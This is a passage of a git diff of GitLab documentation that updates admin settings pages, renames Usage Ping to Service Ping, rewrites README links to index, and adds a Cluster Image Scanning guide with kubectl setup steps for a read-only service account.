-1. Under **Help page text**, fill in the information you wish to display on `/help`.
-1. Save your changes. You can now see the message on `/help`.
+1. Under **Additional text to show on the Help page**, fill in the information you wish to display on `/help`.
+1. Select **Save changes**. You can now see the message on `/help`.
-## Adding a help message to the login page **(STARTER)**
+NOTE:
+By default, `/help` is visible to unauthenticated users. However, if the
+[**Public** visibility level](visibility_and_access_controls.md#restricted-visibility-levels)
+is restricted, `/help` is visible only to signed-in users.
-You can add a help message, which is shown on the GitLab login page in a new section
-titled `Need Help?`, located below the login page message:
+## Add a help message to the sign-in page **(STARTER)**
+
+You can add a help message, which is shown on the GitLab sign-in page. The message appears in a new
+section titled **Need Help?**, located below the sign-in page message:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. In the left sidebar, select **Settings > Preferences**, then expand **Help page**.
-1. Under **Help text**, fill in the information you wish to display on the login page.
+1. Under **Additional text to show on the sign-in page**, fill in the information you wish to
+ display on the sign-in page.
+1. Select **Save changes**. You can now see the message on the sign-in page.
+
+## Hide marketing-related entries from the Help page
+
+GitLab marketing-related entries are occasionally shown on the Help page. To hide these entries:
- ![help message on login page](img/help_page_help_text_v12_3.png)
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Preferences**, then expand **Help page**.
+1. Select the **Hide marketing-related entries from the Help page** checkbox.
+1. Select **Save changes**.
-1. Save your changes.
+## Set a custom Support page URL
-![help message on login page example](img/help_page_help_text_ex_v12_3.png)
+You can specify a custom URL to which users are directed when they:
+
+- Select **Support** from the Help dropdown.
+- Select **See our website for help** on the Help page.
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Preferences**, then expand **Help page**.
+1. Enter the URL in the **Support page URL** field.
+1. Select **Save changes**.
<!-- ## Troubleshooting
diff --git a/doc/user/admin_area/settings/img/enforce_terms.png b/doc/user/admin_area/settings/img/enforce_terms.png
index 699e0e63ceb..de1a82275ab 100644
--- a/doc/user/admin_area/settings/img/enforce_terms.png
+++ b/doc/user/admin_area/settings/img/enforce_terms.png
Binary files differ
diff --git a/doc/user/admin_area/settings/img/help_page_help_text_ex_v12_3.png b/doc/user/admin_area/settings/img/help_page_help_text_ex_v12_3.png
deleted file mode 100644
index 973be2e8b6e..00000000000
--- a/doc/user/admin_area/settings/img/help_page_help_text_ex_v12_3.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/admin_area/settings/img/help_page_help_text_v12_3.png b/doc/user/admin_area/settings/img/help_page_help_text_v12_3.png
deleted file mode 100644
index 8848ea55cf3..00000000000
--- a/doc/user/admin_area/settings/img/help_page_help_text_v12_3.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/admin_area/settings/index.md b/doc/user/admin_area/settings/index.md
index 6a5af09358d..d21b6c36224 100644
--- a/doc/user/admin_area/settings/index.md
+++ b/doc/user/admin_area/settings/index.md
@@ -68,7 +68,7 @@ To access the default page for Admin Area settings:
| Option | Description |
| ------ | ----------- |
| [Continuous Integration and Deployment](continuous_integration.md) | Auto DevOps, runners and job artifacts. |
-| [Required pipeline configuration](continuous_integration.md#required-pipeline-configuration) **(PREMIUM SELF)** | Set an instance-wide auto included [pipeline configuration](../../../ci/yaml/README.md). This pipeline configuration is run after the project's own configuration. |
+| [Required pipeline configuration](continuous_integration.md#required-pipeline-configuration) **(PREMIUM SELF)** | Set an instance-wide auto included [pipeline configuration](../../../ci/yaml/index.md). This pipeline configuration is run after the project's own configuration. |
| [Package Registry](continuous_integration.md#package-registry-configuration) | Settings related to the use and experience of using the GitLab Package Registry. Note there are [risks involved](../../packages/container_registry/index.md#use-with-external-container-registries) in enabling some of these settings. |
## Reporting
@@ -86,7 +86,7 @@ To access the default page for Admin Area settings:
| [Metrics - Grafana](../../../administration/monitoring/performance/grafana_configuration.md#integration-with-gitlab-ui) | Enable and configure Grafana. |
| [Profiling - Performance bar](../../../administration/monitoring/performance/performance_bar.md#enable-the-performance-bar-via-the-admin-area) | Enable access to the Performance Bar for a given group. |
| [Self monitoring](../../../administration/monitoring/gitlab_self_monitoring_project/index.md#creating-the-self-monitoring-project) | Enable or disable instance self monitoring. |
-| [Usage statistics](usage_statistics.md) | Enable or disable version check and usage ping. |
+| [Usage statistics](usage_statistics.md) | Enable or disable version check and Service Ping. |
| [Pseudonymizer data collection](../../../administration/pseudonymizer.md) **(ULTIMATE)** | Enable or disable the Pseudonymizer data collection. |
## Network
diff --git a/doc/user/admin_area/settings/sign_in_restrictions.md b/doc/user/admin_area/settings/sign_in_restrictions.md
index ecd259a345c..333e9465c31 100644
--- a/doc/user/admin_area/settings/sign_in_restrictions.md
+++ b/doc/user/admin_area/settings/sign_in_restrictions.md
@@ -21,7 +21,7 @@ To access sign-in restriction settings:
You can restrict the password authentication for web interface and Git over HTTP(S):
-- **Web interface**: When this feature is disabled, the **Standard** sign-in tab is removed and an [external authentication provider](../../../administration/auth/README.md) must be used.
+- **Web interface**: When this feature is disabled, the **Standard** sign-in tab is removed and an [external authentication provider](../../../administration/auth/index.md) must be used.
- **Git over HTTP(S)**: When this feature is disabled, a [Personal Access Token](../../profile/personal_access_tokens.md) must be used to authenticate.
## Admin Mode
diff --git a/doc/user/admin_area/settings/third_party_offers.md b/doc/user/admin_area/settings/third_party_offers.md
index e7fa8b1dc40..6f7cb081315 100644
--- a/doc/user/admin_area/settings/third_party_offers.md
+++ b/doc/user/admin_area/settings/third_party_offers.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Third party offers **(FREE SELF)**
+# Third-party offers **(FREE SELF)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20379) in GitLab Free 11.1.
@@ -16,8 +16,9 @@ for using [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine/
To toggle the display of third-party offers:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
-1. In the left sidebar, select **Settings**, and expand **Third party offers**.
-1. Select **Do not display offers from third parties within GitLab**.
+1. On the left sidebar, select **Settings**, and expand **Third-party offers**.
+1. Select **Do not display offers from third parties**.
+1. Select **Save changes**.
<!-- ## Troubleshooting
diff --git a/doc/user/admin_area/settings/usage_statistics.md b/doc/user/admin_area/settings/usage_statistics.md
index b5a7ce318ff..c12b720edd2 100644
--- a/doc/user/admin_area/settings/usage_statistics.md
+++ b/doc/user/admin_area/settings/usage_statistics.md
@@ -14,7 +14,7 @@ All statistics are opt-out. To enable or disable them:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. In the left sidebar, select **Settings > Metrics and profiling**, and expand **Usage statistics**.
-1. Enable or disable **Version check** and **Usage ping**.
+1. Enable or disable **Version check** and **Service ping**.
1. Select **Save changes**.
## Network configuration
@@ -67,14 +67,14 @@ sequenceDiagram
Version Application->>GitLab instance: Response (PNG/SVG)
```
-## Usage Ping **(FREE SELF)**
+## Service Ping **(FREE SELF)**
-See [Usage Ping guide](../../../development/usage_ping/index.md).
+See [Service Ping guide](../../../development/service_ping/index.md).
## Instance-level analytics availability
-After usage ping is enabled, GitLab gathers data from other instances and
-enables certain [instance-level analytics features](../analytics/index.md) that are dependent on usage ping.
+After Service Ping is enabled, GitLab gathers data from other instances and
+enables certain [instance-level analytics features](../analytics/index.md) that are dependent on Service Ping.
<!-- ## Troubleshooting
diff --git a/doc/user/admin_area/settings/visibility_and_access_controls.md b/doc/user/admin_area/settings/visibility_and_access_controls.md
index 752856371bf..4af33c133a4 100644
--- a/doc/user/admin_area/settings/visibility_and_access_controls.md
+++ b/doc/user/admin_area/settings/visibility_and_access_controls.md
@@ -97,7 +97,8 @@ To change this period:
Alternatively, projects that are marked for removal can be deleted immediately. To do so:
1. [Restore the project](../../project/settings/#restore-a-project).
-1. Delete the project as described in the [Administering Projects page](../../admin_area/#administering-projects).
+1. Delete the project as described in the
+ [Administering Projects page](../../admin_area/#administering-projects).
## Default project visibility
@@ -106,7 +107,8 @@ To set the default visibility levels for new projects:
1. Select the desired default project visibility.
1. Click **Save changes**.
-For more details on project visibility, see [Public access](../../../public_access/public_access.md).
+For more details on project visibility, see
+[Project visibility](../../../public_access/public_access.md).
## Default snippet visibility
@@ -115,7 +117,8 @@ To set the default visibility levels for new snippets:
1. Select the desired default snippet visibility.
1. Click **Save changes**.
-For more details on snippet visibility, see [Public access](../../../public_access/public_access.md).
+For more details on snippet visibility, see
+[Project visibility](../../../public_access/public_access.md).
## Default group visibility
@@ -124,7 +127,8 @@ To set the default visibility levels for new groups:
1. Select the desired default group visibility.
1. Click **Save changes**.
-For more details on group visibility, see [Public access](../../../public_access/public_access.md).
+For more details on group visibility, see
+[Group visibility](../../group/index.md#group-visibility).
## Restricted visibility levels
@@ -133,7 +137,8 @@ To set the restricted visibility levels for projects, snippets, and selected pag
1. Select the desired visibility levels to restrict.
1. Select **Save changes**.
-For more details on project visibility, see [Public access](../../../public_access/public_access.md).
+For more details on project visibility, see
+[Project visibility](../../../public_access/public_access.md).
## Import sources
diff --git a/doc/user/analytics/ci_cd_analytics.md b/doc/user/analytics/ci_cd_analytics.md
index 1fce741cbef..3c80e1f5f2a 100644
--- a/doc/user/analytics/ci_cd_analytics.md
+++ b/doc/user/analytics/ci_cd_analytics.md
@@ -50,9 +50,9 @@ The following table shows the supported metrics, at which level they are support
| Metric | Level | API version | Chart (UI) version | Comments |
|---------------------------|---------------------|--------------------------------------|---------------------------------------|-----------|
| `deployment_frequency` | Project-level | [13.7+](../../api/dora/metrics.md) | [13.8+](#deployment-frequency-charts) | The [old API endpoint](../../api/dora4_project_analytics.md) was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/323713) in 13.10. |
-| `deployment_frequency` | Group-level | [13.10+](../../api/dora/metrics.md) | To be supported | |
+| `deployment_frequency` | Group-level | [13.10+](../../api/dora/metrics.md) | [13.12+](#deployment-frequency-charts) | |
| `lead_time_for_changes` | Project-level | [13.10+](../../api/dora/metrics.md) | [13.11+](#lead-time-charts) | Unit in seconds. Aggregation method is median. |
-| `lead_time_for_changes` | Group-level | [13.10+](../../api/dora/metrics.md) | To be supported | Unit in seconds. Aggregation method is median. |
+| `lead_time_for_changes` | Group-level | [13.10+](../../api/dora/metrics.md) | [14.0+](#lead-time-charts) | Unit in seconds. Aggregation method is median. |
| `change_failure_rate` | Project/Group-level | To be supported | To be supported | |
| `time_to_restore_service` | Project/Group-level | To be supported | To be supported | |
diff --git a/doc/user/analytics/value_stream_analytics.md b/doc/user/analytics/value_stream_analytics.md
index c3b3fcba52e..4ad3a03a5b0 100644
--- a/doc/user/analytics/value_stream_analytics.md
+++ b/doc/user/analytics/value_stream_analytics.md
@@ -58,9 +58,9 @@ The **Time** metrics near the top of the page are measured as follows:
## How the stages are measured
-Value Stream Analytics uses start events and stop events to measure the time that an issue or merge request spends in each stage.
+Value Stream Analytics uses start events and end events to measure the time that an issue or merge request spends in each stage.
For example, a stage might start when one label is added to an issue and end when another label is added.
-Items aren't included in the stage time calculation if they have not reached the stop event.
+Items aren't included in the stage time calculation if they have not reached the end event.
| Stage | Description |
|---------|---------------|
@@ -112,7 +112,7 @@ environments is configured.
1. Push branch, and create a merge request that contains the [issue closing pattern](../project/issues/managing_issues.md#closing-issues-automatically)
in its description at 14:00 (stop of **Code** stage and start of **Test** and
**Review** stages).
-1. The CI starts running your scripts defined in [`.gitlab-ci.yml`](../../ci/yaml/README.md) and
+1. The CI starts running your scripts defined in [`.gitlab-ci.yml`](../../ci/yaml/index.md) and
takes 5 minutes (stop of **Test** stage).
1. Review merge request, ensure that everything is okay, and then merge the merge
request at 19:00 (stop of **Review** stage and start of **Staging** stage).
diff --git a/doc/user/application_security/api_fuzzing/create_har_files.md b/doc/user/application_security/api_fuzzing/create_har_files.md
index 1162984a02d..7940e072420 100644
--- a/doc/user/application_security/api_fuzzing/create_har_files.md
+++ b/doc/user/application_security/api_fuzzing/create_har_files.md
@@ -12,7 +12,7 @@ requests and HTTP responses. A HAR file's content is JSON formatted, containing
with a web site. The file extension `.har` is commonly used.
The HAR files can be used to perform [web API Fuzz Testing](index.md#http-archive-har) as part of
-your [GitLab CI/CD](../../../ci/README.md) pipelines.
+your [GitLab CI/CD](../../../ci/index.md) pipelines.
WARNING:
A HAR file stores information exchanged between web client and web server. It could also
diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md
index 2b2ac76a7af..e35415003c7 100644
--- a/doc/user/application_security/api_fuzzing/index.md
+++ b/doc/user/application_security/api_fuzzing/index.md
@@ -13,7 +13,7 @@ backend. This helps you discover bugs and potential security issues that other Q
miss.
We recommend that you use fuzz testing in addition to [GitLab Secure](../index.md)'s
-other security scanners and your own test processes. If you're using [GitLab CI/CD](../../../ci/README.md),
+other security scanners and your own test processes. If you're using [GitLab CI/CD](../../../ci/index.md),
you can run fuzz tests as part your CI/CD workflow.
## When Web API fuzzing runs
@@ -134,7 +134,7 @@ To configure API fuzzing in GitLab with an OpenAPI Specification:
1. Add the `fuzz` stage to your `.gitlab-ci.yml` file.
-1. [Include](../../../ci/yaml/README.md#includetemplate)
+1. [Include](../../../ci/yaml/index.md#includetemplate)
the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml)
in your `.gitlab-ci.yml` file.
@@ -200,7 +200,7 @@ To configure API fuzzing to use a HAR file:
1. Add the `fuzz` stage to your `.gitlab-ci.yml` file.
-1. [Include](../../../ci/yaml/README.md#includetemplate)
+1. [Include](../../../ci/yaml/index.md#includetemplate)
the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml)
in your `.gitlab-ci.yml` file.
@@ -271,7 +271,7 @@ To configure API fuzzing to use a Postman Collection file:
1. Add the `fuzz` stage to your `.gitlab-ci.yml` file.
-1. [Include](../../../ci/yaml/README.md#includetemplate)
+1. [Include](../../../ci/yaml/index.md#includetemplate)
the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml)
in your `.gitlab-ci.yml` file.
@@ -400,7 +400,7 @@ To use HTTP basic authentication, two CI/CD variables are added to your `.gitlab
- `FUZZAPI_HTTP_USERNAME`: The username for authentication.
- `FUZZAPI_HTTP_PASSWORD`: The password for authentication.
-For the password, we recommended that you [create a CI/CD variable](../../../ci/variables/README.md#custom-cicd-variables)
+For the password, we recommended that you [create a CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables)
(for example, `TEST_API_PASSWORD`) set to the password. You can create CI/CD variables from the
GitLab projects page at **Settings > CI/CD**, in the **Variables** section. Use that variable
as the value for `FUZZAPI_HTTP_PASSWORD`:
@@ -438,7 +438,7 @@ outgoing HTTP requests.
Follow these steps to provide the bearer token with `FUZZAPI_OVERRIDES_ENV`:
-1. [Create a CI/CD variable](../../../ci/variables/README.md#custom-cicd-variables),
+1. [Create a CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables),
for example `TEST_API_BEARERAUTH`, with the value
`{"headers":{"Authorization":"Bearer dXNlcm5hbWU6cGFzc3dvcmQ="}}` (substitute your token). You
can create CI/CD variables from the GitLab projects page at **Settings > CI/CD**, in the
@@ -780,7 +780,7 @@ variables:
```
In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a
-[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#add-a-cicd-variable-to-an-instance):
+[group or instance level CI/CD variable defined in the UI](../../../ci/variables/index.md#add-a-cicd-variable-to-an-instance):
```yaml
stages:
diff --git a/doc/user/application_security/cluster_image_scanning/index.md b/doc/user/application_security/cluster_image_scanning/index.md
new file mode 100644
index 00000000000..abbe00a85ab
--- /dev/null
+++ b/doc/user/application_security/cluster_image_scanning/index.md
@@ -0,0 +1,281 @@
+---
+type: reference, howto
+stage: Protect
+group: Container Security
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Cluster Image Scanning **(ULTIMATE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 14.1.
+
+WARNING:
+This analyzer is in [Alpha](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha)
+and is unstable. The JSON report and CI/CD configuration may be subject to change or breakage
+across GitLab releases.
+
+Your Kubernetes cluster may run workloads based on images that the Container Security analyzer
+didn't scan. These images may therefore contain known vulnerabilities. By including an extra job in
+your pipeline that scans for those security risks and displays them in the vulnerability report, you
+can use GitLab to audit your Kubernetes workloads and environments.
+
+GitLab provides integration with open-source tools for vulnerability analysis in Kubernetes clusters:
+
+- [Starboard](https://github.com/aquasecurity/starboard)
+
+To integrate GitLab with security scanners other than those listed here, see
+[Security scanner integration](../../../development/integrations/secure.md).
+
+You can enable cluster image scanning by [including the CI job](#configuration)
+in your existing `.gitlab-ci.yml` file.
+
+## Prerequisites
+
+To enable cluster image scanning in your pipeline, you need the following:
+
+- [GitLab Runner](https://docs.gitlab.com/runner/)
+ with the [`docker`](https://docs.gitlab.com/runner/executors/docker.html)
+ or [`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html)
+ executor.
+- Docker `18.09.03` or later installed on the same computer as the runner. If you're using the
+ shared runners on GitLab.com, then this is already the case.
+- [Starboard Operator](https://aquasecurity.github.io/starboard/v0.10.3/operator/installation/kubectl/)
+ installed and configured in your cluster.
+- The configuration for accessing your Kubernetes cluster stored in the `CIS_KUBECONFIG`
+ [configuration variable](#cicd-variables-for-cluster-image-scanning)
+ with the type set to `File` (see [Configuring the cluster](#configuring-the-cluster)).
+
+## Configuring the cluster
+
+1. Create a new service account.
+
+ To properly fetch vulnerabilities from the cluster and to limit analyzer access to the workload,
+ you must create a new service account with the cluster role limited to `get`, `list`, and `watch`
+ `vulnerabilityreports` in the Kubernetes cluster:
+
+ ```shell
+ kubectl apply -f https://gitlab.com/gitlab-org/security-products/analyzers/cluster-image-scanning/-/raw/main/gitlab-vulnerability-viewer-service-account.yaml
+ ```
+
+1. Obtain the Kubernetes API URL.
+
+ Get the API URL by running this command:
+
+ ```shell
+ API_URL=$(kubectl cluster-info | grep -E 'Kubernetes master|Kubernetes control plane' | awk '/http/ {print $NF}')
+ ```
+
+1. Obtain the CA certificate:
+
+ 1. List the secrets with `kubectl get secrets`. One should have a name similar to
+ `default-token-xxxxx`. Copy that token name for use below.
+
+ 1. Run this command to get the certificate:
+
+ ```shell
+ CA_CERTIFICATE=$(kubectl get secret <secret name> -o jsonpath="{['data']['ca\.crt']}")
+ ```
+
+1. Obtain the service account token:
+
+ ```shell
+ TOKEN=$(kubectl -n kube-system get secret $(kubectl -n kube-system get secret | grep gitlab-vulnerability-viewer | awk '{print $1}') -o jsonpath="{.data.token}" | base64 --decode)
+ ```
+
+1. Generate the value for the `CIS_KUBECONFIG` variable. Copy the printed value from the output:
+
+ ```shell
+ echo "
+ ---
+ apiVersion: v1
+ kind: Config
+ clusters:
+ - name: gitlab-vulnerabilities-viewer
+ cluster:
+ server: $API_URL
+ certificate-authority-data: $CA_CERTIFICATE
+ contexts:
+ - name: gitlab-vulnerabilities-viewer
+ context:
+ cluster: gitlab-vulnerabilities-viewer
+ namespace: default
+ user: gitlab-vulnerabilities-viewer
+ current-context: gitlab-vulnerabilities-viewer
+ users:
+ - name: gitlab-vulnerabilities-viewer
+ user:
+ token: $TOKEN
+ "
+ ```
+
+1. Set the CI/CD variable:
+
+ 1. Navigate to your project's **Settings > CI/CD**.
+
+ 1. Expand the **Variables** section.
+
+ 1. Select **Add variable** and fill in the details:
+
+ - **Key**: `CIS_KUBECONFIG`.
+ - **Value**: `generated value`
+ - **Type**: `File`
+
+WARNING:
+The `CIS_KUBECONFIG` variable is accessible by all jobs executed for your project. Mark the
+`Protect variable` flag to export this variable to pipelines running on protected branches and tags
+only. You can apply additional protection to your cluster by
+[restricting service account access to a single namespace](https://kubernetes.io/docs/reference/access-authn-authz/rbac/),
+and [configuring Starboard Operator](https://aquasecurity.github.io/starboard/v0.10.3/operator/configuration/#install-modes)
+to install in restricted mode.
+
+## Configuration
+
+To include the `Cluster-Image-Scanning.gitlab-ci.yml` template (GitLab 14.1 and later), add the
+following to your `.gitlab-ci.yml` file:
+
+```yaml
+include:
+ - template: Security/Cluster-Image-Scanning.gitlab-ci.yml
+```
+
+The included template:
+
+- Creates a `cluster_image_scanning` job in your CI/CD pipeline.
+- Connects to your Kubernetes cluster with credentials provided in the `CIS_KUBECONFIG` variable and
+ fetches vulnerabilities found by [Starboard Operator](https://aquasecurity.github.io/starboard/v0.10.3/operator/).
+
+GitLab saves the results as a
+[Cluster Image Scanning report artifact](../../../ci/yaml/index.md#artifactsreportscluster_image_scanning)
+that you can download and analyze later. When downloading, you always receive the most recent
+artifact.
+
+### Customize the cluster image scanning settings
+
+You can customize how GitLab scans your cluster. For example, to restrict the analyzer to get
+results for only a certain workload, use the [`variables`](../../../ci/yaml/index.md#variables)
+parameter in your `.gitlab-ci.yml` to set [CI/CD variables](#cicd-variables-for-cluster-image-scanning).
+The variables you set in your `.gitlab-ci.yml` overwrite those in
+`Cluster-Image-Scanning.gitlab-ci.yml`.
+
+#### CI/CD variables for cluster image scanning
+
+You can [configure](#customize-the-cluster-image-scanning-settings) analyzers by using the following CI/CD variables:
+
+| CI/CD Variable | Default | Description |
+| ------------------------------ | ------------- | ----------- |
+| `CIS_KUBECONFIG` | `""` | File used to configure access to the Kubernetes cluster. See the [Kubernetes documentation](https://kubernetes.io/docs/tasks/access-application-cluster/configure-access-multiple-clusters/) for more details. |
+| `CIS_CONTAINER_NAME` | `""` | Name of the container used in the Kubernetes resource you want to filter vulnerabilities for. For example, `alpine`. |
+| `CIS_RESOURCE_NAME` | `""` | Name of the Kubernetes resource you want to filter vulnerabilities for. For example, `nginx`. |
+| `CIS_RESOURCE_NAMESPACE` | `""` | Namespace of the Kubernetes resource you want to filter vulnerabilities for. For example, `production`. |
+| `CIS_RESOURCE_KIND` | `""` | Kind of the Kubernetes resource you want to filter vulnerabilities for. For example, `deployment`. |
+
+### Override the cluster image scanning template
+
+If you want to override the job definition (for example, to change properties like `variables`), you
+must declare and override a job after the template inclusion, and then
+specify any additional keys.
+
+This example sets `CIS_RESOURCE_NAME` to `nginx`:
+
+```yaml
+include:
+ - template: Security/Cluster-Image-Scanning.gitlab-ci.yml
+
+cluster_image_scanning:
+ variables:
+ CIS_RESOURCE_NAME: nginx
+```
+
+### Connect with Kubernetes cluster associated to the project
+
+If you want to connect to the Kubernetes cluster associated with the project and run Cluster Image Scanning jobs without
+configuring the `CIS_KUBECONFIG` variable, you must extend `cluster_image_scanning` and specify the environment you want to scan.
+
+This example configures the `cluster_image_scanning` job to scan the Kubernetes cluster connected with the `staging` environment:
+
+```yaml
+cluster_image_scanning:
+ environment:
+ name: staging
+ action: prepare
+```
+
+## Reports JSON format
+
+The cluster image scanning tool emits a JSON report file. For more information, see the
+[schema for this report](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/container-scanning-report-format.json).
+
+Here's an example cluster image scanning report:
+
+```json-doc
+{{
+ "version": "14.0.2",
+ "scan": {
+ "scanner": {
+ "id": "starboard_trivy",
+ "name": "Trivy (using Starboard Operator)",
+ "url": "https://github.com/aquasecurity/starboard",
+ "vendor": {
+ "name": "GitLab"
+ },
+ "version": "0.16.0"
+ },
+ "start_time": "2021-04-28T12:47:00Z",
+ "end_time": "2021-04-28T12:47:00Z",
+ "type": "cluster_image_scanning",
+ "status": "success"
+ },
+ "vulnerabilities": [
+ {
+ "id": "c15f22205ee842184c2d55f1a207b3708283353f85083d66c34379c709b0ac9d",
+ "category": "cluster_image_scanning",
+ "message": "CVE-2011-3374 in apt",
+ "description": "",
+ "cve": "library/nginx:1.18:apt:CVE-2011-3374",
+ "severity": "Low",
+ "confidence": "Unknown",
+ "solution": "Upgrade apt from 1.8.2.2",
+ "scanner": {
+ "id": "starboard_trivy",
+ "name": "Trivy (using Starboard Operator)"
+ },
+ "location": {
+ "dependency": {
+ "package": {
+ "name": "apt"
+ },
+ "version": "1.8.2.2"
+ },
+ "operating_system": "library/nginx:1.18",
+ "image": "index.docker.io/library/nginx:1.18"
+ },
+ "identifiers": [
+ {
+ "type": "cve",
+ "name": "CVE-2011-3374",
+ "value": "CVE-2011-3374",
+ "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3374"
+ }
+ ],
+ "links": [
+ "https://avd.aquasec.com/nvd/cve-2011-3374"
+ ]
+ }
+ ]
+}
+```
+
+## Security Dashboard
+
+The [Security Dashboard](../security_dashboard/index.md) shows you an overview of all
+the security vulnerabilities in your groups, projects, and pipelines.
+
+## Interacting with the vulnerabilities
+
+After a vulnerability is found, you can [address it](../vulnerabilities/index.md).
+
+## Troubleshooting
+
+### Getting warning message `gl-cluster-image-scanning-report.json: no matching files`
+
+For information on this error, see the [general Application Security troubleshooting section](../../../ci/pipelines/job_artifacts.md#error-message-no-files-to-upload).
diff --git a/doc/user/application_security/configuration/index.md b/doc/user/application_security/configuration/index.md
index 8c34303ca00..3cc88a40b6f 100644
--- a/doc/user/application_security/configuration/index.md
+++ b/doc/user/application_security/configuration/index.md
@@ -25,6 +25,32 @@ For each security control the page displays:
- **Security Control:** Name, description, and a documentation link.
- **Manage:** A management option or a documentation link.
+## UI redesign
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/326926) in 14.0 for GitLab Free and Premium, behind a feature flag, disabled by default.
+> - Enabled on GitLab.com for Free & Premium.
+> - Recommended for production use.
+> - It can be enabled or disabled for a single project.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-ui-redesign). **(FREE SELF)**
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/333109) in 14.1 for GitLab Ultimate, behind a feature flag, disabled by default.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - It can be enabled or disabled for a single project.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-ui-redesign-for-ultimate). **(ULTIMATE SELF)**
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+The Security Configuration page has been redesigned in GitLab Free and Premium.
+The same functionality exists as before, but presented in a more extensible
+way.
+
+For each security control the page displays:
+
+- Its name, description and a documentation link.
+- Whether or not it is available.
+- A configuration button or a link to its configuration guide.
+
## Status **(ULTIMATE)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20711) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.6.
@@ -52,3 +78,56 @@ You can configure the following security controls:
- Secret Detection
- Select **Configure via Merge Request** to create a merge request with the changes required to
enable Secret Detection. For more details, see [Enable Secret Detection via an automatic merge request](../secret_detection/index.md#enable-secret-detection-via-an-automatic-merge-request).
+- Dependency Scanning
+ - Select **Configure via Merge Request** to create a merge request with the changes required to
+ enable Dependency Scanning. For more details, see [Enable Dependency Scanning via an automatic merge request](../dependency_scanning/index.md#enable-dependency-scanning-via-an-automatic-merge-request).
+
+## Enable or disable UI redesign **(FREE SELF)**
+
+The Security Configuration redesign is under development, but is ready for
+production use. It is deployed behind a feature flag that is **disabled by
+default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) can enable it.
+
+To enable it:
+
+```ruby
+# For the instance
+Feature.enable(:security_configuration_redesign)
+# For a single project
+Feature.enable(:security_configuration_redesign, Project.find(<project id>))
+```
+
+To disable it:
+
+```ruby
+# For the instance
+Feature.disable(:security_configuration_redesign)
+# For a single project
+Feature.disable(:security_configuration_redesign, Project.find(<project id>))
+```
+
+## Enable or disable UI redesign for Ultimate **(ULTIMATE SELF)**
+
+The Security Configuration redesign is under development, and is not ready for
+production use. It is deployed behind a feature flag that is **disabled by
+default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) can enable it.
+
+To enable it:
+
+```ruby
+# For the instance
+Feature.enable(:security_configuration_redesign_ee)
+# For a single project
+Feature.enable(:security_configuration_redesign_ee, Project.find(<project id>))
+```
+
+To disable it:
+
+```ruby
+# For the instance
+Feature.disable(:security_configuration_redesign_ee)
+# For a single project
+Feature.disable(:security_configuration_redesign_ee, Project.find(<project id>))
+```
diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md
index 323a064c3e4..90e1e4b025c 100644
--- a/doc/user/application_security/container_scanning/index.md
+++ b/doc/user/application_security/container_scanning/index.md
@@ -59,7 +59,7 @@ To enable container scanning in your pipeline, you need the following:
How you enable container scanning depends on your GitLab version:
-- GitLab 11.9 and later: [Include](../../../ci/yaml/README.md#includetemplate) the
+- GitLab 11.9 and later: [Include](../../../ci/yaml/index.md#includetemplate) the
[`Container-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml)
that comes with your GitLab installation.
- GitLab versions earlier than 11.9: Copy and use the job from the
@@ -73,8 +73,8 @@ Other changes:
[`centos:centos8`](https://hub.docker.com/_/centos)
as the new base. It also removes the use of the [start.sh](https://gitlab.com/gitlab-org/security-products/analyzers/klar/-/merge_requests/77)
script and instead executes the analyzer by default. Any customizations made to the
- `container_scanning` job's [`before_script`](../../../ci/yaml/README.md#before_script)
- and [`after_script`](../../../ci/yaml/README.md#after_script)
+ `container_scanning` job's [`before_script`](../../../ci/yaml/index.md#before_script)
